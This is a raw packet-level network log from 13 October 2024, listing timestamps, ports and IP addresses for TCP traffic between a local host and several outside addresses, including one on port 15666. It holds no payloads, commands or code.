Oct 13, 2024 01:40:00.283821106 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:40:00.283829927 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:40:00.283898115 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:40:00.283953905 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:40:00.284001112 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:40:00.284004927 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:40:00.284043074 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:40:00.284051895 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:40:00.284076929 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:40:00.284130096 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:40:00.284166098 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:40:00.284173965 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:40:00.284200907 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:40:00.284234047 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:40:00.284249067 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:40:00.284269094 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:40:00.284274101 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:40:00.284320116 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:40:00.284353971 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:40:00.284387112 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:40:00.284398079 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:40:00.284420967 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:40:00.284427881 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:40:00.284455061 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:40:00.284487963 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:40:00.284519911 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:40:00.284534931 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:40:00.284554005 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:40:00.284559965 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:40:00.284588099 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:40:00.284621954 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:40:00.284655094 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:40:00.284668922 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:40:00.284689903 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:40:00.284699917 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:40:00.284723997 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:40:00.284756899 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:40:00.284787893 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:40:00.284802914 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:40:00.284821033 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:40:00.284831047 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:40:00.284854889 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:40:00.284889936 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:40:00.284919024 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:40:00.284940958 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:40:00.284948111 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:40:00.284965992 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:40:00.284996033 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:40:00.285028934 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:40:00.290615082 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:40:38.639005899 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:38.643912077 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:38.644006014 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:38.740741014 CEST	49963	443	192.168.2.5	104.26.13.205
Oct 13, 2024 01:40:38.740816116 CEST	443	49963	104.26.13.205	192.168.2.5
Oct 13, 2024 01:40:38.740885019 CEST	49963	443	192.168.2.5	104.26.13.205
Oct 13, 2024 01:40:38.753652096 CEST	49963	443	192.168.2.5	104.26.13.205
Oct 13, 2024 01:40:38.753690958 CEST	443	49963	104.26.13.205	192.168.2.5
Oct 13, 2024 01:40:39.232880116 CEST	443	49963	104.26.13.205	192.168.2.5
Oct 13, 2024 01:40:39.232976913 CEST	49963	443	192.168.2.5	104.26.13.205
Oct 13, 2024 01:40:39.288223028 CEST	49963	443	192.168.2.5	104.26.13.205
Oct 13, 2024 01:40:39.288268089 CEST	443	49963	104.26.13.205	192.168.2.5
Oct 13, 2024 01:40:39.289202929 CEST	443	49963	104.26.13.205	192.168.2.5
Oct 13, 2024 01:40:39.289277077 CEST	49963	443	192.168.2.5	104.26.13.205
Oct 13, 2024 01:40:39.290721893 CEST	49963	443	192.168.2.5	104.26.13.205
Oct 13, 2024 01:40:39.331465006 CEST	443	49963	104.26.13.205	192.168.2.5
Oct 13, 2024 01:40:39.400101900 CEST	443	49963	104.26.13.205	192.168.2.5
Oct 13, 2024 01:40:39.400182009 CEST	49963	443	192.168.2.5	104.26.13.205
Oct 13, 2024 01:40:39.400243998 CEST	443	49963	104.26.13.205	192.168.2.5
Oct 13, 2024 01:40:39.400283098 CEST	443	49963	104.26.13.205	192.168.2.5
Oct 13, 2024 01:40:39.400300026 CEST	49963	443	192.168.2.5	104.26.13.205
Oct 13, 2024 01:40:39.400332928 CEST	49963	443	192.168.2.5	104.26.13.205
Oct 13, 2024 01:40:39.404248953 CEST	49963	443	192.168.2.5	104.26.13.205
Oct 13, 2024 01:40:39.404282093 CEST	443	49963	104.26.13.205	192.168.2.5
Oct 13, 2024 01:40:44.807885885 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.813458920 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.813500881 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.813529015 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.813586950 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.813615084 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.813635111 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.813682079 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.813708067 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.813739061 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.813906908 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.813935041 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.814038992 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.814333916 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.819341898 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.819484949 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.819514036 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.819545031 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.819581032 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.819653988 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.819668055 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.819699049 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.819750071 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.819765091 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.819778919 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.819811106 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.819906950 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.820764065 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.820904970 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.824939966 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.825004101 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.825074911 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.825109005 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.825170040 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.826184034 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.826293945 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.826313019 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.826354980 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.826411963 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.826481104 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.830137014 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.830220938 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.830291033 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.830321074 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.830355883 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.830373049 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.830408096 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.830408096 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.830437899 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.830466032 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.830466986 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.830488920 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.830497980 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.830533028 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.830554008 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.830574036 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.830602884 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.830631971 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.830636978 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.830678940 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.831199884 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.831255913 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.831262112 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.831321001 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.831326962 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.831404924 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.831478119 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.831507921 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.831537008 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.831562996 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.831590891 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.831846952 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.831876993 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.831904888 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.831906080 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.831933022 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.831943989 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.831964016 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.831967115 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.831986904 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.831993103 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.832021952 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.832026958 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.832047939 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.832098007 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.835786104 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.835839033 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.835853100 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.835900068 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.835997105 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.836049080 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.836054087 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.836108923 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.836313009 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.836363077 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.836390018 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.836390972 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.836416960 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.836420059 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.836447001 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.836452961 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.836471081 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.836484909 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.836505890 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.836525917 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.836544991 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.836553097 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.836579084 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.836605072 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.836616993 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.836647034 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.836673975 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.836679935 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.836700916 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.836707115 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.836728096 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.836729050 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.836757898 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.836759090 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.836777925 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.836786985 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.836803913 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.836816072 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.836847067 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.836848974 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.836872101 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.836874962 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.836896896 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.836905003 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.836921930 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.836935043 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.836960077 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.836981058 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.836998940 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.837048054 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.837055922 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.837075949 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.837102890 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.837122917 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.837373972 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.837404013 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.837430954 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.837438107 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.837459087 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.837472916 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.837488890 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.837516069 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.837534904 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.840831995 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.840895891 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.841023922 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.841074944 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.841080904 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.841103077 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.841135025 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.841155052 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.841383934 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.841444969 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.842246056 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.842274904 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.842302084 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.842308044 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.842331886 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.842334986 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.842353106 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.842364073 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.842390060 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.842431068 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.843071938 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.843135118 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.843216896 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.843246937 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.843280077 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.843319893 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.843461990 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.843491077 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.843523979 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.843542099 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.843547106 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.843570948 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.843595982 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.843621969 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.843627930 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.843650103 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.843672991 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.843677044 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.843698978 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.843732119 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.843751907 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.843806982 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.843836069 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.843863964 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.843890905 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.843911886 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.844089031 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.844137907 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.844149113 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.844166994 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.844192028 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.844194889 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.844216108 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.844228983 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.844248056 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.844288111 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.844295025 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.844325066 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.844352007 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.844369888 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.844393969 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.844413042 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.844420910 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.844449043 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.844475985 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.844479084 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.844504118 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.844504118 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.844531059 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.844532967 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.844554901 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.844583988 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.845910072 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.845964909 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.845978975 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.846019983 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.846077919 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.846107006 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.846134901 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.846159935 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.846185923 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.846360922 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.846425056 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.847311020 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.847373009 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.847378969 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.847415924 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.847433090 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.847467899 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.847479105 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.847496986 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.847536087 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.847562075 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.848031044 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.848172903 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.848181963 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.848234892 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.848238945 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.848263025 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.848292112 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.848319054 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.848525047 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.848582983 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.848608971 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.848660946 CEST	15666	49962	79.137.202.152	192.168.2.5
